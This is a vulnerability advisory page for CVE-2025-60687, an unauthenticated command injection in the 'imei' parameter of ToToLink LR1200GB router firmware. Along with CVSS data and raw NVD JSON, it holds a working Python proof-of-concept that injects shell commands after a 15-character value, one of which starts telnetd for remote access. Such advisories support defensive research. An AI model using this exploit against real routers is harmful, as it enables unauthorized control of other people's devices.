Security Vulnerability Report
中文
CVE-2025-60687 CVSS 6.5 MEDIUM

CVE-2025-60687

Published: 2025-11-13 16:15:53
Last Modified: 2025-11-19 17:38:41

Description

An unauthenticated command injection vulnerability exists in the ToToLink LR1200GB Router firmware V9.1.0u.6619_B20230130 within the cstecgi.cgi binary (sub_41EC68 function). The binary reads the "imei" parameter from a web request and verifies only that it is 15 characters long. The parameter is then directly inserted into a system command using sprintf() and executed with system(). Maliciously crafted IMEI input can execute arbitrary commands on the router without authentication.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink LR1200GB 固件 V9.1.0u.6619_B20230130

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-60687 PoC - ToToLink LR1200GB Command Injection # Target: cstecgi.cgi via imei parameter import requests import sys target = "http://target-router-ip" # Note: Replace 'target-router-ip' with actual router IP def exploit(target_ip, payload): """ Send malicious IMEI parameter to trigger command injection The imei parameter must be exactly 15 characters before the injection payload """ url = f"http://{target_ip}/cstecgi.cgi" # IMEI is 15 digits, we inject command after 15 chars # Example: '123456789012345;touch /tmp/pwned;' malicious_imei = "123456789012345;touch /tmp/pwned;" params = { "imei": malicious_imei } try: print(f"[*] Sending payload to {url}") print(f"[*] IMEI parameter: {malicious_imei}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully") print("[*] Command should be executed on the router") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def start_telnet(target_ip): """ Example: Start telnetd service on the router """ url = f"http://{target_ip}/cstecgi.cgi" # Inject command to start telnetd malicious_imei = "123456789012345;telnetd;" params = {"imei": malicious_imei} try: response = requests.get(url, params=params, timeout=10) print("[+] Telnetd started (if vulnerable)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <router_ip>") print("Example: python3 CVE-2025-60687.py 192.168.1.1") sys.exit(1) target_ip = sys.argv[1] exploit(target_ip, None)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60687", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.720", "lastModified": "2025-11-19T17:38:41.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated command injection vulnerability exists in the ToToLink LR1200GB Router firmware V9.1.0u.6619_B20230130 within the cstecgi.cgi binary (sub_41EC68 function). The binary reads the \"imei\" parameter from a web request and verifies only that it is 15 characters long. The parameter is then directly inserted into a system command using sprintf() and executed with system(). Maliciously crafted IMEI input can execute arbitrary commands on the router without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60687.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}